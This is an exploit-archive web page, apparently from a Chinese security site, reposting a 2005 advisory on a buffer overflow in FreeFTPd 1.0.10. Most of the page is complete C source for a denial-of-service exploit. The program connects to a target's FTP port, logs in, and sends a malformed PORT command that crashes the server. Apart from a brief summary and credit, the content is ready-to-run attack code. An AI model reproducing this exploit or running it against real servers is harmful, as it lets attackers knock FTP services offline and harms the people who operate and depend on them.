首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeFTPd DoS (PORT, Exploit)
来源:steve01@chello.at 作者:steve01 发布时间:2005-11-28  

FreeFTPd DoS (PORT, Exploit)


Summary
freeFTPd is "a free FTP+SSL/SFTP server built on WeOnlyDo FTP/SFTP implementation which guarantees high performance and full compatibility".

FreeFTPd is vulnerable to a buffer overflow, the following exploit code will cause a denial of service against the product.

Credit:
The information has been provided by steve01.

Details
Vulnerable Systems:
* FreeFTPd version 1.0.10

Exploit:
// FreeFTPd Denial of Service Attack
// Tested on a Win XP Sp1 Box


#include "stdio.h"
#include "winsock2.h"
#pragma comment (lib,"ws2_32")


#define PORT 21
#define USER "root"
#define PASS "root"
#define L "--------------------------------------------------"
#define HL "freeFTPd (1.0.10) DoS Exploit by steve01@chello.at"
#define BOOM "23"

typedef unsigned long ulong;
ulong resolv_host(char *);

int main(int argc, char* argv[])
{

WSADATA wsa;
SOCKET s_target;
struct sockaddr_in addr;
WORD wsVersion;
int err=0;

if(argc<2)
{
printf("%s\n",L);
printf("%s\n",HL);
printf("%s\n",L);
printf("Usage: %s <www.target.com>\n",argv[0]);
exit(0);
}

printf("%s\n",L);
printf("%s\n",HL);
printf("%s\n",L);


if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa))
{
printf("Error WSAStartup() Error Code: %d\n",WSAGetLastError());
exit(1);
}

s_target=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s_target==INVALID_SOCKET)
{
printf("Error socket() Error Code: %d\n",WSAGetLastError());
exit(2);
}


addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr= resolv_host(argv[1]);

if(connect(s_target,(SOCKADDR *)&addr,sizeof(addr)))
{
printf("Error connect() Error Code: %d\n",WSAGetLastError());
exit(3);
}

int recvsize=0;
char recvbuffer[400];
char sendbuffer[400];

//recv banner
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';
//send user
strncpy(sendbuffer,"USER ",sizeof(sendbuffer)-1);
strncat(sendbuffer,USER,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

send(s_target,sendbuffer,strlen(sendbuffer),0);

//recv user stuff
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';

strncpy(sendbuffer,"PASS ",sizeof(sendbuffer)-1);
strncat(sendbuffer,PASS,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

//send pass
send(s_target,sendbuffer,strlen(sendbuffer),0);

//recv pass stuff
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';

strncpy(sendbuffer,"PORT ",sizeof(sendbuffer)-1);
strncat(sendbuffer,BOOM,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);
send(s_target,sendbuffer,strlen(sendbuffer),0);


closesocket(s_target);
WSACleanup();

return 0;
}


ulong resolv_host(char *host)
{

ulong uhost=0;
struct hostent *th;

uhost=inet_addr(host);
if(uhost==INADDR_NONE)
{
th=gethostbyname(host);
if(!th)
{
printf("Check if %s is up \n",host);
exit(0);
}

uhost=*(unsigned long*)th->h_addr;

}

return uhost;


}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows Distributed
·Microsoft Windows Metafile (WM
·Cisco PIX Spoofed TCP SYN Pack
·Microsoft Windows Metafile (WM
·Mambo mosConfig_absolute_path
·QNX Realtime Operating System
·Microsoft Internet Explorer Wi
·Microsoft Windows Distributed
·FreeBSD sendfile Kernel Inform
·Oracle 9i Database XDB HTTP Au
·sudo Local Privilege Escalatio
·HP OpenView Network Node Manag
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved